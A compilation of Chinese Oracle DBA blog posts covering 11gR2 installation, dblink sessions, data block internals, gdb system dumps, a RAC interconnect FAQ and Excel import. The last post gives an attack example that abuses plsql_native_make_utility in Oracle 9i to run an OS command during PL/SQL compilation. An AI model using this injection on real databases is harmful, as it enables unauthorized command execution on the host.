在对原SUN客户的公示中，Larry Ellison火药味十足地表示将在硬件领域与龙头老大IBM争霸。
公示向原SUN客户表示一下四点：
公示结尾为larry Ellison的结语：
We’re in it to win it. IBM,we ‘re looking foward to competing with you in hardware business.
这份开战宣言表明了Oracle在硬件领域发展的决心，以及同IBM争霸的勇气。
两家同样以销售著名的公司（相对SUN等技术著名公司），将在未来几年内为我们展示新一轮的IT航母兼并战。
安装软体分成2个zip包，需要全部解压后方能安装，解压后生成目录database,
linux.x64_11gR2_database_1of2.zip
linux.x64_11gR2_database_2of2.zip
最明显的当然是安装界面风格，整体偏于纯白了，跟r1的蓝白风格有所不同；
metalink协助在r2中显得更加重要，安全补丁更新已与metalink账号绑定起来；
我们选择仅安装单实例的软件，不创建数据库。
多出了产品语言的选择界面，但着不同与数据库字符集的选择，主要决定了帮助信息的语言集合。
一般来说不管是开发测试都因该使用enterprise edition,为了统一环境避免麻烦。
选择安装目录，默认是安装在变量ORACLE_BASE目录下：
安装预检查的内容有不少改动：
内存安装要求由10g的512M上升到1g,swap需求与当前主机的物理内存大小一致，tmp目录大小要求为1g,
Shell 中hard limit:max open files的要求上升到65536，这要求我们修改/etc/security/limits.conf中oracle的设置。
内核参数fs.file-max的要求上升到6815744，端口限制参数net.ipv4.ip_local_port_range由2000 65000变成9000 65500,net.core.rmem_default参数上升至 262144等。且在10g基础上多出了2个rpm包的安装要求，分别为elfutil-libelf-devel-0.97,该包的具体用途如下：
The elfutils-libelf-devel package contains the libraries to create
applications for handling compiled objects. libelf allows you to
access the internals of the ELF object file format, so you can see the
different sections of an ELF file.
下载地址：elf包
另一个是 unixodbc-devel-2.2.11,描述为：
| The unixODBC package can be used to access databases through ODBC drivers. If you want to develop programs that will access data through ODBC, you need to install this package. |
下载地址为：unixodbc
另安装程序目前会自动生成修改参数的脚本了，点击fix & check again,它会提示你在/tmp/CVU_11.2.0.1.0_oracle目录下的runfixup.sh文件可以帮助修改相关参数，这使安装步骤简便许多。
修改后的sysctl.conf文件内容如下：
net.ipv4.ip_forward = 0
# Controls source route verification
net.ipv4.conf.default.rp_filter = 1
# Do not accept source routing
net.ipv4.conf.default.accept_source_route = 0
# Controls the System Request debugging functionality of the kernel
kernel.sysrq = 0
# Controls whether core dumps will append the PID to the core filename.
# Useful for debugging multi-threaded applications.
kernel.core_uses_pid = 1
kernel.shmall = 2097152
kernel.shmmax = 4589934592
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
fs.file-max = 6815744
net.ipv4.ip_local_port_range = 9000 65500
net.core.rmem_default = 262144
net.core.rmem_max = 4194304
net.core.wmem_default = 262144
net.core.wmem_max = 1048576
fs.aio-max-nr = 1048576
上述的2个rpm即使不安装，Oracle软件也可以安装成功，虽然我们不提倡使用ignore选项。
在当前的安装程序中可以保存response file了，这为今后的静默安装提供了方便。
最后点击 finish,去喝一杯咖啡吧，11g 的安装时间要比10g 长很多，因为相关组件更丰富了，这在之后将介绍。
安装进度条界面：
安装完成，使用root用户执行root.sh，关闭安装界面。
对比10g与11g的目录，可以发现11g目录下多出了deinstall,dc_ocm,apex,sqldeveloper等子目录。
apex 为Oracle application express 目前已经整合到11g的server端中。
deinstall目录下的deinstall脚本将帮助删除当前Oracle软件并清除oraInventory中的信息。
sqldeveloper为图形界面的sqlplus开发管理工具，大约占用80M空间，一般不会使用到。
转载请注明源地址: https://www.askmac.cn
惯性思维总是 令我们离大师们 有着一定的距离，这种差距 在知识广袤的领域尤其明显。
Oracle领域被称为Oracle的世界，当之无愧；一丁点的想当然就让我们偏离于事实。
以dblink的表现为例，我一直认为dblink的远程连接session仅在操作(select,dml)发生时短期存在，在操作完成后依据一定条件保留或退出。
而事实并非如此，随便使用一个远程查询语句如下：
SQL> select * from help@LZ; –LZ 为dblink名
在远程数据库端观察session，可以发现：
select sid,username,machine,program,module from v$session where module=’ORACLE.EXE’
| SID | USERNAME | MACHINE | PROGRAM | MODULE | |
| 1 | 526 | SYSTEM | WIN_DESK1 | ORACLE.EXE | ORACLE.EXE |
且该远程会话一直保留直到原会话退出为止，无论是成功退出还是程序失败。
若希望在原会话中关掉已打开的远程会话，则需要使用一下命令：
Alter session close database link DBLINKNAME;
这里要注意，需要先执行commit后以上关闭远程session SQL方会成功，即便是Select操作也是如此;
若没有执行commit,会出现：
ORA-02080: 数据库链接正在使用中
昨天在家里的Linux服务器上，尝试用C 写一个抽取data block 的例子，用到的system_call()
简单得很就是标准的文件读写.
块 头的读取比较顺利，block_type种类大多我不熟悉，那是应用见的少了，只见过表，索引；IOT,cluster则从没见过。不过其实国内用这类高 级特性的恐怕也是极少，加了一个Oracle 的mail-list,看外国人对DB层的研究确实不懈的，而且人家只要这技术有优势就有本事和胆量拿来用，这份精神实在不殆。
块头之后是事务 槽，同行字典一样多少不定，是以行数据是倒过来存储的,即由尾而头，这番道理估计现下的DB上都是一般的。然而Oracle 之所以精妙与这事务槽同回滚段实现的读一致大有关系，然而反过来说Oracle本身也是背了一个极大的包袱在行走能有如今的效用真是不易之极,无怪乎 latch之类要用到汇编指令,但这又加大了改换平台的难度.
行字典中最末是每行的绝对距离. offsets=sizeof(head)+phead->itc*ITL_SIZE
相对地址为: pri[j]+offsets
完成之后,抽取多行却格式总是层次不齐,前前后后迂回了几个小时,最后蓦然回首发现自己参考的格式居然是9i的,怪不得读了读取行总是不工整.
回过头来说oracle的文件格式在今天来说基本是一点悬念也没有了,然而对于shared_pool的管理理论,sql的机器optimizer,以及架构等等都无愧为龙头老大,说要超越确实千难万难,何况即便超越了,其势本身极大要,谗食也不容易.
datablock的格式,都是前辈高人一个字节一个字节试出来的,其志诚嘉.
| Offset | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | a | b | c | d | e | f | ||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 00014000 | 06 | A2 | 00 | 00 | 0A | 00 | 40 | 01 | 0E | 89 | 43 | 00 | 00 | 00 | 05 | 02 | ||||||||||||||||||
| type | frmt | spare1/2_kcbh | rdba | scn | seq | flg | ||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||
| 00014010 | 00 | 00 | 00 | 00 | 01 | 00 | 17 | 00 | 54 | D2 | 00 | 00 | 0A | 89 | 43 | 00 | ||||||||||||||||||
| chkval | spare3_kcbh | typ | ? | seg/obj | csc | |||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||
| 00014020 | 00 | 00 | E8 | 1F | 02 | 00 | 03 | 00 | 00 | 00 | 00 | 00 | 04 | 00 | 0C | 00 | ||||||||||||||||||
| csc | ? | itc | ? | flg | fsl | fnx | xid | |||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||
| 00014030 | 50 | 18 | 00 | 00 | 96 | 14 | 80 | 00 | B9 | 07 | 01 | 00 | 01 | 20 | 00 | 00 | ||||||||||||||||||
| xid | uba | Lck Flag | Scn/Fsc | |||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||
| 00014040 | 0E | 89 | 43 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | ||||||||||||||||||
| Scn/Fsc | 第2条itl 这里没使用 | |||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||
| 00014050 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 01 | 01 | 00 | ||||||||||||||||||
| 第2条itl 这里没使用 | flag | ntab | nrow | |||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||
| 00014060 | FF | FF | 14 | 00 | 9B | 1F | 83 | 1F | 83 | 1F | 00 | 00 | 01 | 00 | 9B | 1F | ||||||||||||||||||
| frre | fsbo | fseo | avsp | tosp | offs | nrow | row offs | |||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||
| 00015FF0 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 2C | 01 | 01 | 01 | 61 | 05 | 06 | 0E | 89 | ||||||||||||||||||
| fb | lb | cc | length | data | block tail | |||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||
10.1.0~lgone@ONE.LG.OK> create table a(v varchar2(4000)) TABLESPACE t;
Table created.
10.1.0~lgone@ONE.LG.OK> insert into a values('a');
1 row created.
Start dump data blocks tsn: 17 file#: 5 minblk 10 maxblk 10
buffer tsn: 17 rdba: 0x0140000a (5/10)
//// buffer tsn:
数据文件对应的 tablespace 的 number 这只是dump文件中记录的数据而已
block 中是没有记录 tablespace 的 number 的
scn: 0x0000.0043890e seq: 0x05 flg: 0x02 tail: 0x890e0605
frmt: 0x02 chkval: 0x0000 type: 0x06=trans data
Block header dump: 0x0140000a
Object id on Block? Y
seg/obj: 0xd254 csc: 0x00.43890a itc: 2 flg: O typ: 1 - DATA
fsl: 0 fnx: 0x0 ver: 0x01
Itl Xid Uba Flag Lck Scn/Fsc
0x01 0x0004.00c.00001850 0x00801496.07b9.01 --U- 1 fsc 0x0000.0043890e
0x02 0x0000.000.00000000 0x00000000.0000.00 ---- 0 fsc 0x0000.00000000
data_block_dump,data header at 0x87e125c
//// data_block_dump,data header at 0x87e125c
其实这个block不是直接从 data buffer 中 dump 出来的这个表示真正dump时 block 的数据区的起始位置
也就是下面这部分开始的位置
=============== //// tsiz: hsiz: pbl: bdba: 在数据文件都是没有存储的
tsiz: 0x1fa0 //// Total data area size
8k的block: 8192-20(block head)-24(Transaction Header)-24*2(一个事务条)-4(block tail)=8096(0x1fa0)
hsiz: 0x14 //// Data header size 数据块头20个字节+数据块尾4个字节=24字节(0x14)
pbl: 0x087e125c //// Pointer to buffer holding the block
bdba: 0x0140000a
76543210
flag=--------
ntab=1
nrow=1
frre=-1
fsbo=0x14
fseo=0x1f9b
avsp=0x1f83
tosp=0x1f83
0xe:pti[0] nrow=1 offs=0
0x12:pri[0] offs=0x1f9b
block_row_dump:
tab 0, row 0, @0x1f9b
tl: 5 fb: --H-FL-- lb: 0x1 cc: 1
col 0: [ 1] 61
end_of_block_dump
End dump data blocks tsn: 17 file#: 5 minblk 10 maxblk 10
block 坏掉了还可以报:
ORA-600 (4519) Cache layer block type is incorrect
ORA-600 (4393) Check for Type for Segment header with free list
ORA-600 (4136) Check Rollback segment block
ORA-600 (4154) Check Rollback segment block
Ora-600[kcbzpb_1],[d],[kind],[chk] gets signaled when the block got corrupted in memory.
The only way it should be bad is if a stray store into memory destroyed the header or tail.
d = blocknumber, kind= kind of corruption detected,chk = checksum flag
ora-600[3398] and ora-600[3339]
ora-600[3398] is not in oracle 8.
ora-600[3398] means it failed a verification check before writing back to disk, so it must
be an in-memory corruption.
ora-600[3339] comes with ora-1578 and means either disk corruption or in memory corruption after read.
ora-600 [3339] has been removed from 7.2+
From 7.2+ ora-600 [3398] has become ora-600 [3374] with some checks added.
2进制存储格式
ALTER SESSION SET EVENTS '10289 trace name context forever, level 1';
ALTER SESSION SET EVENTS '10289 trace name context off';
当Oracle系统hang住 ，无法使用一切方法登录时 （包括 sqlplus -prelim / as sysdba），我们可以使用gdb调试工具来对 Oracle做系统 dump ,通过 系统 dump信息 判断 具体hang的原因 。 若直接 将 进程 kill 掉，则将失去现场 无法帮助今后避免 这样的hang情况。
要使用gdb 外部工具， 就需要知道目前实例中后台进程的进程号。
我们一般通过 以下命令列出 Oracle 进程：ps -ef|grep <SID>
[oracle@rh2 ~]$ ps -ef|grep oraclewebmoney
oracle 16996 16995 0 21:55 ? 00:00:00 oraclewebmoney (DESCRIPTION=(LOCAL=YES)(ADDRESS=(PROTOCOL=beq)))
然后启动gdb ，指定Oracle软件中二进制文件 oracle的位置和 进程id
[oracle@rh2 udump]$ gdb $ORACLE_HOME/bin/oracle 16996
GNU gdb Red Hat Linux (6.3.0.0-1.159.el4rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “x86_64-redhat-linux-gnu”…
(no debugging symbols found)
Using host libthread_db library “/lib64/tls/libthread_db.so.1″.
Attaching to program: /u01/oracle/product/10.2.0/db_1/bin/oracle, process 14594
Reading symbols from /u01/oracle/product/10.2.0/db_1/lib/libskgxp10.so…(no debugging symbols found)…done.
Loaded symbols for /u01/oracle/product/10.2.0/db_1/lib/libskgxp10.so
Reading symbols from /u01/oracle/product/10.2.0/db_1/lib/libhasgen10.so…done.
Loaded symbols for /u01/oracle/product/10.2.0/db_1/lib/libhasgen10.so
Reading symbols from /u01/oracle/product/10.2.0/db_1/lib/libskgxn2.so…done.
Loaded symbols for /u01/oracle/product/10.2.0/db_1/lib/libskgxn2.so
Reading symbols from /u01/oracle/product/10.2.0/db_1/lib/libocr10.so…done.
Loaded symbols for /u01/oracle/product/10.2.0/db_1/lib/libocr10.so
Reading symbols from /u01/oracle/product/10.2.0/db_1/lib/libocrb10.so…done.
Loaded symbols for /u01/oracle/product/10.2.0/db_1/lib/libocrb10.so
Reading symbols from /u01/oracle/product/10.2.0/db_1/lib/libocrutl10.so…done.
Loaded symbols for /u01/oracle/product/10.2.0/db_1/lib/libocrutl10.so
Reading symbols from /u01/oracle/product/10.2.0/db_1/lib/libjox10.so…
在gdb 提示行中 输入 print ksudss(10)，即
(gdb) print ksudss(10)
之后将在udump目录中产生相关<SID>_ora_<pid>的trace文件，我们通过分析trace可以发现hang的主要原因。
trace文件示例如下：
System name: Linux
Node name: rh2
Release: 2.6.9-78.ELsmp
Version: #1 SMP Wed Jul 9 15:46:26 EDT 2008
Machine: x86_64
Instance name: webmoney
Redo thread mounted by this instance: 1
Oracle process number: 15
Unix process pid: 16996, image: oracle@rh2 (TNS V1-V3)
*** 2009-09-07 21:57:14.100
*** SERVICE NAME:(SYS$USERS) 2009-09-07 21:57:14.100
*** SESSION ID:(528.2041) 2009-09-07 21:57:14.100
===================================================
SYSTEM STATE
————
System global information:
processes: base 0x91637c30, size 500, cleanup 0x9167a2e0
allocation: free sessions 0x91779840, free calls (nil)
control alloc errors: 0 (process), 0 (session), 0 (call)
PMON latch cleanup depth: 0
seconds since PMON’s last scan for dead processes: 45
system statistics:
[gview file=”http://askmac.cn/wp-content/uploads/resource/gdb.pdf”]
万众期待的11g r2终于掀开了盖头来，作为先行军，linux平台无疑可以让最多专家和用户更好最广泛的测试新版本。
oracle甚至为其使用了独立的域名：www.oracledatabase11g.com，针对新产品使用独立域名的作为并不多见，而该域名目前的pr 值 及 alex排名均甚低。究其根本 可能是一种潮流，类似暴雪的游戏产品均拥有自己独立的域名， 我们可以猜想今后会出现 oracledatabase12[X].com 和 oracledatabase13[X].com。下为11g主页的横幅flash。
在《Oracle announces availability of Oracle Database 11g Release 2》中，Oracle展开了一贯的忽悠伎俩，提出了以下优势：更成熟的网格计算帮助企业减少成本，节约存储成本，更少的无用冗余，自动调优与扩展性（更强大的awr和memeory auto tuning )。
以上优势当然是我们希望的，但现实往往是残酷的。 看到11g 逐渐成熟 走向 更广泛的运用， 则DBA本身需要掌握的 新特性 ，以及 新版本中不同的 “古怪脾性” ，相信有机会一一体验。。。。
Oracle数据库的小秘密，作者是Norbert Debes；
就内容而言并非最internal,换句话说对日常管理还是有用的，当然是对expert而言。
我的博客中翻译了他对AUDIT_SYSLOG_LEVEL解释的若干章节，今后会继续努力。
该书出版已经较长时间，但国内并无任何出版迹象；实际DBA专题类书的销量也不大，始终属于小众类的。
书的内容还是很有价值的，特别是对于几个参数的深入研究和使用perl 尝试相关实验的内容。
附上封面：
附上下载地址：Oracle Secrets.
我们以学习为目的…….
以下文本摘自metalink doc:
This note attempts to clarify the cluster_interconnects parameter and the
platforms on which the implementation has been made. A brief explanation on
the workings of the parameter has also been presented in this note.
This is also one of the most frequently questions related to cluster and RAC
installations on most sites and forms a part of the prerequisite as well.
ORACLE 9I RAC – Parameter CLUSTER_INTERCONNECTS
———————————————–
FREQUENTLY ASKED QUESTIONS
————————–
November 2002
CONTENTS
——–
1. What is the parameter CLUSTER_INTERCONNECTS for ?
2. Is the parameter CLUSTER_INTERCONNECTS available for all platforms ?
3. How is the Interconnect recognized on Linux ?
4. Where could I find more information on this parameter ?
5. How to detect which interconnect is used ?
6. Cluster_Interconnects is mentioned in the 9i RAC administration
guide as a Solaris specific parameter, is this the only platform
where this parameter is available ?
7. Are there any side effects for this parameter, namely affecting normal
operations ?
8. Is the parameter OPS_INTERCONNECTS which was available in 8i similar
to this parameter ?
9. Does Cluster_interconnect allow failover from one Interconnect to another
Interconnect ?
10. Is the size of messages limited on the Interconnect ?
11. How can you see which protocoll is being used by the instances ?
12. Can the parameter CLUSTER_INTERCONNECTS be changed dynamically during runtime ?
QUESTIONS & ANSWERS
——————-
1. What is the parameter CLUSTER_INTERCONNECTS for ?
Answer
——
This parameter is used to influence the selection of the network interface
for Global Cache Service (GCS) and Global Enqueue Service (GES) processing.
This note does not compare the other elements of 8i OPS with 9i RAC
because of substantial differences in the behaviour of both architectures.
Oracle 9i RAC has certain optimizations which attempt to transfer most of
the information required via the interconnects so that the number of disk
reads are minimized. This behaviour known as Cache fusion phase 2 is summarised
in Note 139436.1
The definition of the interconnnect is a private network which
will be used to transfer the cluster traffic and Oracle Resource directory
information and blocks to satisfy queries. The technical term for that is
cache fusion.
The CLUSTER_INTERCONNECTS should be used when
– you want to override the default network selection
– bandwith of a single interconnect does not meet the bandwith requirements of
a Real Application Cluster database
The syntax of the parameter is:
CLUSTER_INTERCONNECTS = if1:if2:…:ifn
Where if<n> is an IP address in standard dotted-decimal format, for example,
144.25.16.214. Subsequent platform implementations may specify interconnects
with different syntaxes.
2. Is the parameter CLUSTER_INTERCONNECTS available for all platforms ?
Answer
——
This parameter is configurable on most platforms.
This parameter can not be used on Linux.
The following Matrix shows when the parameter was introduced on which platform:
Operating System Available since
AIX 9.2.0
HP/UX 9.0.1
HP Tru64 9.0.1
HP OPenVMS 9.0.1
Sun Solaris 9.0.1
References
———-
Bug <2119403> ORACLE9I RAC ADMINISTRATION SAYS CLUSTER_INTERCONNECTS IS SOLARIS ONLY.
Bug <2359300> ENHANCE CLUSTER_INTERCONNECTS TO WORK WITH 9I RAC ON IBM
3. How is the Interconnect recognized on Linux ?
Answer
——
Since Oracle9i 9.2.0.8 CLUSTER_INTECONNETCS can be used to change the interconnect.
A patch is also available for 9.2.0.7 under Patch 4751660.
Before 9.2.0.8 the Oracle implementation for the interface selection reads the ‘private hostname’
in the cmcfg.ora file and uses the corresponding ip-address for the interconnect.
If no private hostname is available the public hostname will be used.
4. Where could I find information on this parameter ?
Answer
——
The parameter is documented in the following books:
Oracle9i Database Reference Release 2 (9.2)
Oracle9i Release 1 (9.0.1) New Features in Oracle9i Database Reference –
What’s New in Oracle9i Database Reference?
Oracle9i Real Application Clusters Administration Release 2 (9.2)
Oracle9i Real Application Clusters Deployment and Performance Release 2 (9.2)
Also port specific documentation may contain information about the usage of
the cluster_interconnects parameter.
Documentation can be viewed on
http://tahiti.oracle.com
http://otn.oracle.com/documentation/content.html
References:
———–
Note 162725.1: OPS/RAC VMS: Using alternate TCP Interconnects on 8i OPS
and 9i RAC on OpenVMS
Note 151051.1: Init.ora Parameter “CLUSTER_INTERCONNECTS” Reference Note
5. How to detect which interconnect is used ?
The following commands show which interconnect is used for UDP or TCP:
sqlplus> connect / as sysdba
oradebug setmypid
oradebug ipc
exit
The corresponding trace can be found in the user_dump_dest directory and for
example contains the following information in the last couple of lines:
SKGXPCTX: 0x32911a8 ctx
admno 0x12f7150d admport:
SSKGXPT 0x3291db8 flags SSKGXPT_READPENDING info for network 0
socket no 9 IP 172.16.193.1 UDP 43307
sflags SSKGXPT_WRITESSKGXPT_UP
info for network 1
socket no 0 IP 0.0.0.0 UDP 0
sflags SSKGXPT_DOWN
context timestamp 0x1ca5
no ports
Please note that on some platforms and versions (Oracle9i 9.2.0.1 on Windows)
you might see an ORA-70 when the command oradebug ipc has not been
implemented.
When other protocols such as LLT, HMP or RDG are used, then the trace file will not
reveal an IP address.
6. Cluster_Interconnects is mentioned in the 9i RAC administration
guide as a Solaris specific parameter, is this the only platform
where this parameter is available ?
Answer
—–
This information that this parameter works on Solaris only is incorrect. Please
check the answer for question number 2 for the complete list of platforms for the same.
References:
———–
bug <2119403> ORACLE9I RAC ADMINISTRATION SAYS CLUSTER_INTERCONNECTS IS SOLARIS ONLY.
7. Are there any side effects for this parameter, namely affecting normal
operations ?
Answer
—–
When you set CLUSTER_INTERCONNECTS in cluster configurations, the
interconnect high availability features are not available. In other words,
an interconnect failure that is normally unnoticeable would instead cause
an Oracle cluster failure as Oracle still attempts to access the network
interface which has gone down. Using this parameter you are explicitly
specifying the interface or list of interfaces to be used.
8. Is the parameter OPS_INTERCONNECTS which was available in 8i similar
to this parameter ?
Answer
——
Yes, the parameter OPS_INTERCONNECTS was used to influence the network selection
for the Oracle 8i Parallel Server.
Reference
———
Note <120650.1> Init.ora Parameter “OPS_INTERCONNECTS” Reference Note
9. Does Cluster_interconnect allow failover from one Interconnect to another
Interconnect ?
Answer
——
Failover capability is not implemented at the Oracle level. In general this
functionality is delivered by hardware and/or Software of the operating system.
For platform details please see Oracle platform specific documentation
and the operating system documentation.
10. Is the size of messages limited on the Interconnect ?
Answer
——
The message size depends on the protocoll and platform.
UDP: In Oracle9i Release 2 (9.2.0.1) message size for UDP was limited to 32K.
Oracle9i 9.2.0.2 allows to use bigger UDP message sizes depending on the
platform. To increase throughput on an interconnect you have to adjust
udp kernel parameters.
TCP: There is no need to set the message size for TCP.
RDG: The recommendations for RDG are documented in
Oracle9i Administrator’s Reference – Part No. A97297-01
References
———-
Bug <2475236> RAC multiblock read performance issue using UDP IPC
11. How can you see which protocoll is being used by the instances ?
Answer
——
Please see the alert-file(s) of your RAC instances. During startup you’ll
find a message in the alert-file that shows the protocoll being used.
Wed Oct 30 05:28:55 2002
cluster interconnect IPC version:Oracle UDP/IP with Sun RSM disabled
IPC Vendor 1 proto 2 Version 1.0
12. Can the parameter CLUSTER_INTERCONNECT be changed dynamically during runtime ?
Answer
——
No. Cluster_interconnects is a static parameter and can only be set in the
spfile or pfile (init.ora)
日常工作中往往涉及到数据导入工作，平时办公中excel应用十分广泛，导入工作我们一般都是将excel内容复制到文本文件中然后利用sqlldr工具导入。较新版本的Sql Developer提供了直接excel导入到表的功能，下面我们来尝试一下：
需要导入的excel的数据如下：
在Oracle数据库中建立实验所需要的表：
其中t1为主键；
点中创建好的表右键选择导入数据，选择需要导入的excel文件（目前仅支持xls格式不支持xlsx格式）：
若表格中有列名，则钩上”标题?”选项：
单击下一步，选择需要的列：
选择完成后单击下一步，将源数据列与目标表列一一对应：
单击下一步，选择导入前验证导入参数,出现以下条目：
验证表名 SUCCESS
验证源列是否映射了目标列 SUCCESS
验证源列是否定义了数据类型 SUCCESS
验证列的大小字段 SUCCESS
针对列大小检查数据 SUCCESS
验证日期列是否具有日期格式 SUCCESS
验证是否支持这些数据类型的导入 SUCCESS
单击完成，消息窗口出现导入日志：
注意到这一步为止仍没有commit,需要到相关窗口点下commit按钮：
目前Sql Developer中的excel导入功能已经较为完善，在版本1.5.5之前普遍存在next按钮无反应的bug。
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这里举出一个攻击代码例子，你也许会觉得惊奇，抑或认为这是一个运行命令的好办法，是的它很“有用”。
在Oracle 9i中允许采用Oracle本地编译PL/SQL应用程序的方式进行操作。显然，可以利用这一点来运行OS命令：
SQL> alter system set plsql_native_make_utility=’cmd.exe /C dir >C:\oops.txt &’;
SQL> alter system set plsql_native_make_file_name=’ foo’;
SQL> alter system set plsql_native_library_dir=’bee’;
系统已更改。
create or replace PROCEDURE wcg
IS
BEGIN
NULL;
END;
/
show errors
在Oracle编译wcg过程的时候，Oracle会执行下面的代码：
cmd.exe /C dir > C:\oops.txt -& -f foo
bee/RUN_CMD__SYSTEM__0.DLL
Oracle10g中 plsql_native_make_utility与plsql_native_make_file_name2个参数已被废弃。
